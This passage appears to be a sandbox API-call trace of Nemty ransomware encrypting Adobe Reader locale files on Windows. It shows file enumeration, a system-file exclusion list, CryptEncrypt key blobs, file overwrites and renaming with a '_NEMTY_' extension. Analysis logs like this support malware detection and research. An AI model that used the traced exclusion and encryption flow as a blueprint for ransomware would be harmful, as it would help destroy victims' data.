lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228bf450, dwHighDateTime=0x1d561e8)) [0186.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228bf450, dwHighDateTime=0x1d561e8)) [0186.059] GetLastError () returned 0x0 [0186.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.059] GetLastError () returned 0x0 [0186.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.059] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.059] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XVRBldTS9QqLW/ca3cEJKiBYic97Kl9HXKqbRj7FlJ3hjASk/lsVNU094dExbMEX\r\nP3ZnfMpnVBpxnWn/vtquLkXYwGhbzGoWORTNadBJq+7K/bbHURs9sBucs6Ih5Fq/\r\nAQ/e3VYIDEa0F9IAC0wnXZBxSJm5rQiK2XHFJE7FVYfuHfVhkvkE3CX/vEYmpsMx\r\nftGkTX/SN/KhRS/O+O6X3msbbuDY4eF1nnRUwMgdQ7YamSUOcbt8jawcwauFgkGL\r\nrxDxZLI/Xxh/kkwod8JhYnoKjo1ACqccpf92mL9u5/bIywXZY426nOYr09g3Tjev\r\nH4VspKGDntGZmGHwdfqx0w==\r\n", pcchString=0x653e5dc) returned 1 [0186.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SaveAsRTF.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\saveasrtf.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.060] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0186.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0186.060] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.060] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0186.062] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.062] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0186.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.063] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0186.063] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.063] CloseHandle (hObject=0x2e8) returned 1 [0186.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.063] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SaveAsRTF.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\saveasrtf.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SaveAsRTF.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\saveasrtf.chs._nemty_kgobjgd_")) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.064] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.CHS", cAlternateFileName="")) returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2=".") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="..") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="...") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="windows") returned -1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="rsa") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="NTDETECT.COM") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="ntldr") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="MSDOS.SYS") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="IO.SYS") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="boot.ini") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="boot.ini") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="ntuser.dat") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="desktop.ini") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="CONFIG.SYS") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="RECYCLER") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="bootmgr") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="programdata") returned 1 [0186.064] lstrcmpiW (lpString1="Search.CHS", lpString2="appdata") returned 1 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CHS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.065] Sleep (dwMilliseconds=0x5) [0186.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228e55b0, dwHighDateTime=0x1d561e8)) [0186.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228e55b0, dwHighDateTime=0x1d561e8)) [0186.075] GetLastError () returned 0x0 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.075] GetLastError () returned 0x0 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.075] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.075] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.075] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="kuxjehunf3C8pY5OrK5V/ukQ4XtQ8YWhNzYlNN/TWmanwYcw2dZUujpV2528Fuxp\r\nkT7eNyZRV9ugqsPlLIZY/bJ+MGV1PrReN0rSfiP2RfZBjRPqPKcEtEiAuRRlMP8m\r\n+cvF/SZjAL3UUS71QGBkbnCJ4J+denmAbCzZRr3JxxubbrRzwOzppViCLqz6MZ7f\r\nk7sG8rEi4LFsf6+XfIZ8HLbDvxe+baHMwswnKCsex6n7OdrS8L8q7DqNRs8IGkBk\r\n5lCdZECp9TZOunCPfYO/VjnK67mU+7KHJPt5gY/Dz7oi+773MxJZFi8c4NLVdwQR\r\nAeVRTFsHsZ6UIFD6iXtsGQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Search.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\search.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.076] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14848) returned 1 [0186.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3a00) returned 0x6352c48 [0186.076] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.076] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3a00, lpOverlapped=0x0) returned 1 [0186.078] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.078] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3a00, lpOverlapped=0x0) returned 1 [0186.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.079] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a00 [0186.079] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.079] CloseHandle (hObject=0x2e8) returned 1 [0186.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.079] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Search.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\search.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Search.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\search.chs._nemty_kgobjgd_")) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.080] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.CHS", cAlternateFileName="")) returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2=".") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="..") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="...") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="windows") returned -1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="rsa") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="NTDETECT.COM") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="ntldr") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="MSDOS.SYS") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="IO.SYS") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="boot.ini") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="boot.ini") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="ntuser.dat") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="desktop.ini") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="CONFIG.SYS") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="RECYCLER") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.080] lstrcmpiW (lpString1="SendMail.CHS", lpString2="bootmgr") returned 1 [0186.081] lstrcmpiW (lpString1="SendMail.CHS", lpString2="programdata") returned 1 [0186.081] lstrcmpiW (lpString1="SendMail.CHS", lpString2="appdata") returned 1 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.081] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 